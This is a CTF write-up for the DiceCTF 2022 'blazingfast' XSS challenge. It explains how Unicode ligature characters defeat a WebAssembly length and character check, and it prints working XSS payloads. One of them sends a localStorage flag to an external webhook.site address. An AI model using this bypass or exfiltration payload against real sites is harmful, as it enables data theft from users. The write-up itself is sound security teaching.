- Published on
DICE CTF 2022 – blazingfast
- Authors
- Name
- thebish0p
- Description
- Security, Programming and Mathematics
blazingfast
by larry
I made a blazing fast MoCkInG CaSe converter!
Downloads
We start by noticing that we have a challenge link and an admin bot link which means this challenge is an XSS challenge. We start with browsing the website and testing it’s normal behaviour as shown below:
Moving to the source code, we start by analyzing index.html
:
let blazingfast = null
function mock(str) {
blazingfast.init(str.length)
if (str.length >= 1000) return 'Too long!'
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.'
blazingfast.write(c.charCodeAt(0))
}
if (blazingfast.mock() == 1) {
return 'No XSS for you!'
} else {
let mocking = '',
buf = blazingfast.read()
while (buf != 0) {
mocking += String.fromCharCode(buf)
buf = blazingfast.read()
}
return mocking
}
}
function demo(str) {
document.getElementById('result').innerHTML = mock(str)
}
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value)
}
let query = new URLSearchParams(window.location.search).get('demo')
if (query) {
document.getElementById('demo').value = query
demo(query)
}
})
As you can see, we can input data in the demo
parameter and the data provided will be processed by blazingfast.mock()
which is originating from the blazingfast.c
provided:
int length, ptr = 0;
char buf[1000];
void init(int size) {
length = size;
ptr = 0;
}
char read() {
return buf[ptr++];
}
void write(char c) {
buf[ptr++] = c;
}
int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
buf[i] += 32;
}
if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}
ptr = 0;
return 0;
}
Several checks are made on our input. Our input can’t be more than 1000 characters and a few characters are blacklisted: [<
, >
, &
, "
].
After a lot of trial and error we had an idea that in order to bypass these checks and execute our JavaScript payloads we need to bypass the 1000 characters.
We stumbled upon an article talking about Exploiting XSS with 20 characters limitation by using unicode characters. In this article, the author gives us a great example:
Notice that ff characters is only one character but when browsers interpret it, it will be expanded as ff two characters.
We proceed by testing this idea by sending around 600 ff
which would unpack to 1200 characters. We don’t get any error as shown below:
This is because "ffi".toUpperCase()
becomes "FFI"
. The string written to WSAM module is the converted one (disregarding the memory allocated), but the length reported was of the original string. This discrepancy allowing us to write characters to the memory with only bytes checked for blacklisted characters, thus bypassing the check.
We proceed by using this technique and adding to it our XSS payload to see if we can pop an alert:
ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=alert(1)>
To our surprise, we get an error ALERT is not defined
:
The issue here is that all our payload will be in upper case letters. We came up with a workaround by using XML encoding followed by URL encoding as following:
ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=alert(1)>
We continue by crafting a payload to extract the flag and send it back to our webhook.
<img src=x onerror=location.href='https://webhook.site/38689352-bda5-4841-80e3-4a48e1655deb?q='.toLowerCase()+localStorage.getItem('flag'.toLowerCase())>
After XML and URL encoding our input we send it to the admin bot as shown below:
ffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffiffi<img src=x onerror=location.href='https://webhook.site/38689352-bda5-4841-80e3-4a48e1655deb?q='.toLowerCase()+localStorage.getItem('flag'.toLowerCase())>
Finally we receive our flag from the server: